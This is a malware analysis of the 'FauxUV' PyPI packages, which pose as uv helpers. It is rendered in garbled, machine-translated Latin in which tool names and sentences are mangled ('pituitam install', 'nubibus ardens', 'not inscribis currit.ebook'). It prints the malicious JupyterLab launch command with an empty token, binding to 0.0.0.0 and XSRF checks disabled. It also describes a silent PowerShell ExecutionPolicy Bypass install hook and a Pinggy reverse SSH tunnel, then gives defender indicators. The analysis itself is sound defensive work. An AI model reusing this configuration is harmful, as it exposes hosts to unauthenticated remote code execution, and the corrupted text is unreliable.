TL, DR
Grex fasciculorum PyPI nomen mutuatus est uv, celer et perquam popularis administrator fasciculorum Pythonicus, Rust fundatus, ut adiutores UV se gerant. Nullam fere functionem veram offerunt. Quod autem ferunt est sarcina Windows quae sustinet... Servus JupyterLab cum authentificatione inactiva et, in versionibus posterioribus, id per cuniculum inversum in interrete publicum divulgat.
Haec est tota fabula uno versu: nomen instrumenti fidati ut esca, et JupyterLab ut machina exsecutionis codicis remotae. Servus Jupyter quemlibet codicem quem in not inscribis currit.ebook cellula; una cum tessera vacuo incepta et ad quamque interfaciem retiariam coniuncta est interpres apertus quem quicumque portum attingere potest moderari potest.
Gregem sequimur ut FauxUVDuo fasciculi examinati sunt moon-uv (0.0.1, 0.0.16) et my-magic-uv-helper (0.0.1), ab eodem operatore publicata et tempore analysis in PyPI posita.
| ecosystem | PyPI |
| Packages | moon-uv (0.0.1, 0.0.16) my-magic-uv-helper (0.0.1) |
| Platforma destinata | Fenestra |
| Mores principales | Servus JupyterLab non authenticatus, per cuniculum inversum in interrete divulgatus. |
| Instrumenta legitima abusa | UV, JupyterLab, cloudflared, Pinggy |
Illex: nomen cui iam confidis
uv unum ex instrumentis Pythonicis frequentissime installatis biennio proximo est, ergo "adiutor pro uv"est fasciculus quem programmator sine ulla cogitatione instituit. FauxUV fidem suam totam in hoc nomine impendit. Fasciculi involvunt..." genuina uv installator ab Astral — URL in sarcina ad veros, bonam famam hospites spectant — ita brevis intuitus nihil nisi fide dignas referentias videt. Nullum fasciculorum revera addit uv functionalitas; nomen est totum occultum.
JupyterLab ut machina RCE
Centrum oneris est machina iaculatoria quae JupyterLab incipit omnibus guardrailibus remotis:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive itVexillum quodque praesidium aufert, et scriptum missum etiam annotat (Sinice originali): tessera vacua "probationes tesserarum et tesserarum intercludit — quilibet coniungi potest." JupyterLab est legitimum IDE scientiae datorum, sed nonebook Cellula codicem arbitrarium consilio exsequitur. Hoc modo configurata et ad coniuncta 0.0.0.0, desinit esse IDE et fit testa remota non authenticata in hospite — nullo binario programmatis maligni proprio opus est, sed instrumentum vulgare in viam falsam monstratum.
Duae partes adiuvantes id attingibile et iterabile efficiunt:
- Impulsor institutionis silens. Versiones priores PowerShell currunt cum -Praetermissio Rationis Exsecutionis recta a * setup.py on pituitam install, in cursu cum erroribus suppressis ita SEMEN normalis apparet. Versiones posteriores eandem primitivam in pip-uv instrumentum lineae mandati — et executionem automaticam tempore installationis omnino omittere.
- Cuniculus publicus inversus. Servitor in 0.0.0.0 adhuc solum a machinis attingi potest qui ad machinam iter facere possunt. Modulus fasciculatus [Pinggy]( aperithttps://pinggy.io/Cuniculus SSH inversus qui portum Jupyter localem ad inscriptionem publicam transmittit, limitem illum removens. Scriptum missum etiam viam alternativam — commentatam — utens Cloudflare portat. nubibus ardens et a netsh portus-procurator ad IP Linode, eundem finem per diversam infrastructuram documentans.
Composito: fasciculo installato, hospes Windows JupyterLab sine tessera currere et in interrete aperto divulgare incipit.
Quomodo FauxUV evolutum est
Versiones FauxUV celeriter successione missae sunt, et punctum incitationis oneris per eas movebatur — admonitio quod una versio signata raro totam fabulam lineae sarcinae narrat.
Notandum est automaticum cursum tempore installationis fuisse abstulit in versionibus posterioribus, potentioribus — ergo lector clavibus tantum in cyclo vitae instructus hooks recentiores emissiones aestimaret ut minus periculosum, prorsus retrorsum.
Indicia compromissi
Confirmatum per lectionem fontis fasciculi; fines notati annotavit In fasciculis adsunt sed a versione analysata non exsequuntur. Indices retiales deactivati sunt.
Signa morum quae digna sunt admonitione, his ipsis filis separatis: a pituitam install quod gignit Praetermissio Rationis Exsecutionis PowerShell; ullus jupyter combinationem incipere tessera = "" apud –ip=0.0.0.0; et SSH egressum ad *.pinggy.io ab fabricatore vel machina CI.
Mores observati et origo
Duo fasciculi auctorem et methodum communes habent: nomen instrumenti fidati, claustra tantum Windows, executionem in cursu posteriori sine erroribus, et fiduciam in instrumentis probatis, ita ut inspectio celeris tantum URL probatas videat. Fons commentarios lingua Sinica continet qui signa ad securitatem pertinentia clare describunt; eos tamquam enuntiationes observabiles in fasciculo referimus, non tamquam assertionem de motivo. permittere_originem valor et collaboratio.vespertilio `filename` fluxus informales "communica meum localem executionis tempus" qui pro Google Colab circumferuntur resonant. Quacumque origine, idem est eventus compactus.
Impactus et consilium defensoribus
Quis FauxUV exponitur? Elaboratores Fenestrae et cursores CI qui pituitam install unum ex his fasciculis. JupyterLab sine tessera in 0.0.0.0 Exsecutio codicis remota est cuivis qui portum attingere potest; cuniculus limitem "quis portum attingere potest" tollit. Servus ut usor qui portum instituit currit, hereditate accipiens fasciculos, tesseras, et testimonia nubis illius usoris.
Cur facile sit praetermittere. Omnis series retiaria ad hospitem bonae famae spectat — Astral, JupyterLab, nubibus ardens, Pinggy, Colab. Nullum binarium programmatis maligni ad confundendum et nulla massa obscurata ad decodificandum est. Utraque perscrutatio famae et subscriptionis hoc minus ponderis tribuit, quam ob rem quaestio de moribus — Quid machina, hoc fasciculo installato, facit? — est qui id capit.
duce revelasti:
- Quodlibet tempus institutionis tracta Praetermissio Rationis Exsecutionis PowerShell tamquam signum constructionem frangens, quodcumque URL petit.
- in erecti jupyter tessera vacua emissum et –ip=0.0.0.0; illa combinatio numquam in statione laboris vel cursore apparere debet.
- Monitor pro SSH egressu ad cuniculorum provisores (*.pinggy.io, *.trycloudflare.com) ex ambitu programmatum et CI.
- Install uv ex [fonte officiali] (https://docs.astral.sh/uv/) et diffide de fasciculis "adiutoriis" tertiariis quae instrumentum iam facile instituendum includunt.
- Dependentias in mutatione fige et denuo recense — linea fasciculi novam facultatem versione post versionem augere potest.
